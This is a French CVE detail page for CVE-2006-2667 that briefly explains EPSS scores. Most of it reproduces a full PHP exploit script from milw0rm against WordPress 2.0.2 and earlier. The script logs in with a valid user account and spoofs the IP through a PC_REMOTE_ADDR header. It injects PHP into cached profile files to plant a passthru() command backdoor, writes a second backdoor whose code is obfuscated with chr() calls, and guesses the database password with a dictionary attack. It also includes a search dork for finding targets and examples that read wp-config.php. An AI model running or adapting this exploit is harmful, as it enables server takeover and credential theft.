CVE-2006-2667 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/php -q -d short_open_tag=on <? echo "--------------------------------------------------------------------\r\n"; echo "| WordPress <= 2.0.2 'cache' shell injection exploit |\r\n"; echo "| by rgod [email protected] |\r\n"; echo "| site: http://retrogod.altervista.org |\r\n"; echo "| dork: inurl:wp-login.php Register Username Password -echo |\r\n"; echo "--------------------------------------------------------------------\r\n"; /* this works: regardless of all php.ini settings, if user registration is enabled, against an empty or weak MySQL DB password (read explaination for details...) */ if ($argc<6) { echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS \r\n"; echo "host: target server (ip/hostname) \r\n"; echo "path: path to WordPress \r\n"; echo "cmd: a shell command \r\n"; echo "user/pass: you need a valid user account \r\n"; echo "Options: \r\n"; echo " -D[dicrionary] specify a textfile and try dictionary attack \r\n"; echo " -p[port]: \" a port other than 80 \r\n"; echo " -P[ip:port]: \" a proxy \r\n"; echo "Examples: \r\n"; echo "php ".$argv[0]." localhost /wordpress/ your_username password ls -la -Ddic.txt\r\n"; echo "php ".$argv[0]." localhost /wordpress/ your_username password cat ./../../../wp-config.php -p81\r\n"; echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n"; die; } /* explaination: i) wordpress stores some user informations inside cached files in wp-content/cache/userlogins/ and wp-content/cache/users/ folders, they are php files. Normally they look like this: <?php //O:8:"stdClass":23:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:18:"[email protected]";s:8:"user_url";s:0:"";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:6:"suntzu";s:10:"first_name";s:0:"";s:9:"last_name";s:0:"";s:8:"nickname";s:6:"suntzu";s:11:"description";s:0:"";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:14:"user_firstname";s:0:"";s:13:"user_lastname";s:0:"";s:16:"user_description";s:0:"";} ?> but...what happens if you inject a carriage return ( chr(13)...), some php code and some escape chars when you update your profile (ex. in "displayname" argument)? Look at this file now: <?php //O:8:"stdClass":24:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:17:"[email protected]";s:8:"user_url";s:7:"http://";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:185:"suntzu error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo 56789;passthru($_REQUEST[cmd]);echo 56789;//suntzuuuuuuuuuuuuuu";s:10:"first_name";s:6:"suntzu";s:9:"last_name";s:6:"suntzu";s:8:"nickname";s:6:"suntzu";s:11:"description";s:6:"whoami";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:12:"rich_editing";s:4:"true";s:14:"user_firstname";s:6:"suntzu";s:13:"user_lastname";s:6:"suntzu";s:16:"user_description";s:6:"whoami";} ?> you have a backdoor on target server... Now you have to search a way to guess filenames 'cause we have an index.php to trivially protect folders, but... guess what? give a look at wp-includes/cache.php at line 355: ... $cache_file = $group_dir.md5($id.DB_PASSWORD).'.php'; ... $group_dir is the folder where files are stored DB_PASSWORD costant could be empty, if so... you have only to calculate the md5 hash of your user id, then: http://[target]/[path]/wp-content/cache/users/[md5(user_id)].php?cmd=ls%20-la the same with userlogins/ folder, this time: http://[target]/[path]/wp-content/cache/userlogins/[md5(username)].php?cmd=ls%20-la otherwise you can check if DB_PASSWORD is in a dictionary through the -D option, this tool calculate the hash to do something like this: http://[target]/[path]/wp-content/cache/users/[md5([user_id][db_pass])].php?cmd=ls%20-la http://[target]/[path]/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=ls%20-la ii) an ip-spoofing issue in vars.php: ... // On OS X Server, $_SERVER['REMOTE_ADDR'] is the server's address. Workaround this // by using $_SERVER['HTTP_PC_REMOTE_ADDR'], which *is* the remote address. if ( isset($_SERVER['HTTP_PC_REMOTE_ADDR']) ) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PC_REMOTE_ADDR']; ... poc: you can set an http header like this when you register: PC_REMOTE_ADDR: 1.1.1.1 */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } $host=$argv[1]; $path=$argv[2]; $username=$argv[3]; $password=$argv[4]; $cmd=""; $port=80; $proxy=""; $dict=""; for ($i=5; $i<=$argc-1; $i++){ $t=$argv[$i][0].$argv[$i][1]; if (($t<>"-p") and ($t<>"-P") and ($t<>"-D")) {$cmd.=" ".$argv[$i];} if ($t=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($t=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($t=="-D") { $dict=str_replace("-D","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "step 0 -> check if suntzu.php is already installed...\r\n"; $check=array("users/suntzu.php", "userlogins/suntzu.php" ); for ($i=0; $i<=count($check)-1; $i++) { $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=".$cmd."\r\n"; $packet.="Connection: close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"*DL*")) { echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo $temp[1]."\r\n";echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la";die; } } echo "step 1 -> Login ...\r\n"; $data="log=".urlencode(trim($username)); $data.="&pwd=".urlencode(trim($password)); $data.="&rememberme=forever"; $data.="&submit=".urlencode("Login &raquo;"); $data.="&redirect_to=wp-admin"; $packet="POST ".$p."wp-login.php HTTP/1.0\r\n"; $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n"; //ip spoofing bug in vars.php ;)... $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(" ",$temp[1]); $cookie=$temp2[0]; $temp2=explode(" ",$temp[2]); $cookie.=" ".$temp2[0]; if ($cookie==''){echo "Unable to login...";die;} else {echo "cookie ->".$cookie."\r\n";} echo "step 2 -> Retrieve your user id...\r\n"; $packet="GET ".$p."wp-admin/profile.php HTTP/1.0\r\n"; $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("checkuser_id\" value=\"",$html); $temp2=explode("\"",$temp[1]); $user_id=$temp2[0]; if ($user_id==''){die("Unable to retrieve user id...\r\n");} else {echo "user id -> ".$user_id."\r\n";} echo "step 3 -> Update your profile with the evil code...\r\n"; $suntzu='$fp=fopen("suntzu.php","w");fputs($fp,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(114).chr(114).chr(111).chr(114).chr(95).chr(114).chr(101).chr(112).chr(111).chr(114).chr(116).chr(105).chr(110).chr(103).chr(40).chr(48).chr(41).chr(59).chr(115).chr(101).chr(116).chr(95).chr(116).chr(105).chr(109).chr(101).chr(95).chr(108).chr(105).chr(109).chr(105).chr(116).chr(40).chr(48).chr(41).chr(59).chr(105).chr(102).chr(32).chr(40).chr(103).chr(101).chr(116).chr(95).chr(109).chr(97).chr(103).chr(105).chr(99).chr(95).chr(113).chr(117).chr(111).chr(116).chr(101).chr(115).chr(95).chr(103).chr(112).chr(99).chr(40).chr(41).chr(41).chr(123).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(61).chr(115).chr(116).chr(114).chr(105).chr(112).chr(115).chr(108).chr(97).chr(115).chr(104).chr(101).chr(115).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(125).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(42).chr(68).chr(76).chr(42).chr(34).chr(59).chr(112).chr(97).chr(115).chr(115).chr(116).chr(104).chr(114).chr(117).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62));fclose($fp);//'; $suntzu=urlencode($suntzu); $code='error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo chr(42).chr(68).chr(76).chr(42);passthru($_REQUEST[cmd]);echo chr(42).chr(68).chr(76).chr(42);'; $code=urlencode($code); $data="from=profile"; $data.="&checkuser_id=".$user_id; $data.="&user_login=".urlencode(trim($username)); $data.="&first_name=".urlencode(trim($username)); $data.="&last_name=".urlencode(trim($username)).chr(13).$suntzu."//suntzuuu"; $data.="&nickname=".urlencode(trim($username)); $data.="&display_name=".urlencode(trim($username)).chr(13).$code."//suntzuu"; $data.="&email=".urlencode("[email protected]"); $data.="&url=".urlencode("http://"); $data.="&aim="; $data.="&yim="; $data.="&jabber="; $data.="&description=whoami"; $data.="&rich_editing=true"; $data.="&submit=".urlencode("Update Profile &raquo;"); $packet="POST ".$p."wp-admin/profile-update.php HTTP/1.0\r\n"; $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Referer: http://".$host.$path."wp-admin/profile-update.php\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("updated=true",$html)){echo "Done...\r\n";} else {die("Unable to update profile...");} echo "step 4 -> go to profile page to avoid cached files deletion...\r\n"; $packet="GET ".$p."wp-admin/profile.php?updated=true HTTP/1.0\r\n"; $packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: close\r\n\r\n"; sendpacketii($packet); if (eregi("200 OK",$html)){echo "Done...\r\n";} sleep(2); echo "step 5 -> check for an empty db password...\r\n"; $check=array("users/".md5($user_id).".php", "userlogins/".md5(trim($username)).".php" ); for ($i=0; $i<=count($check)-1; $i++) { $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=".$cmd."\r\n"; $packet.="Connection: close\r\n\r\n"; sendpacketii($packet); if (eregi("*DL*",$html)) { echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo($temp[1]);echo"\r\nNow you can launch commands through the followig urls:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n";die; } } if ($dict=='') {echo "exploit failed...\r\n";} else { echo "step 6 -> trying with dictionary attack...\r\n"; if (file_exists($dict)) { $fp=fopen($dict,"r"); while (!feof($fp)) { $word=trim(fgets($fp)); $check=array("users/".md5($user_id.$word).".php", "userlogins/".md5(trim($username).$word).".php" ); for ($i=0; $i<=count($check)-1; $i++) { echo "Trying with ".$check[$i]."\r\n"; $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=".$cmd."\r\n"; $packet.="Connection: close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"*DL*")) { echo "Exploit succeeded...\r\n";fclose($fp);$temp=explode("*DL*",$html);echo $temp[1];echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n"; die; } } } fclose($fp); //if you are here... echo "Exploit failed...\r\n"; } else { die($dict."does not exist!"); } } ?> # milw0rm.com [2006-05-25]